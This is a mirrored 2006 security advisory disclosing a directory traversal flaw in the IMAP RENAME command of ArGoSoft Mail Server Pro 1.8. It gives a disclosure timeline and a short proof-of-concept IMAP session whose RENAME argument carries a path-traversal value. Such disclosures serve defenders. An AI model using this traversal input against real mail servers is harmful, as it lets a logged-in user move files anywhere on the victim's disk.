Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11583
HistoryFeb 24, 2006 - 12:00 a.m.

NSA Group Security Advisory NSAG-№200-24.02.2006 Vulnerability ArGoSoft Mail Server Pro IMAP

2006-02-2400:00:00
vulners.com
17

Advisory:
NSAG-№200-24.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
ArGoSoft Mail Server Pro 1.8 IMAP

Site of manufacturer:
www.argosoft.com

The status:
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is notified.
14/02/2006 - Answer of the manufacturer is absent.
14/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/878.html

Risk:
Hide

Description:
Vulnerability exists because of insufficient check of entrance data of variable RENAME.

Influence:
Removed user, is accessible to move files, to an any place on a disk.

Exploit:
M: \> nc.exe 192.168.1.1 143

  • OK IMAP Module of ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8 (1.8.8.1)
    0001 LOGIN "testuser" "test"
    0001 OK LOGIN successful
    000P CREATE "testfile"
    000P OK Folder created
    000G RENAME "testfile" "…\…\…\hackuser\hackfolder"
    000G OK RENAME completed

More information:
http://www.nsag.ru/vuln/878.html

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

www.nsag.ru
«Nemesis» © 2006

Nemesis Security Audit Group © 2006.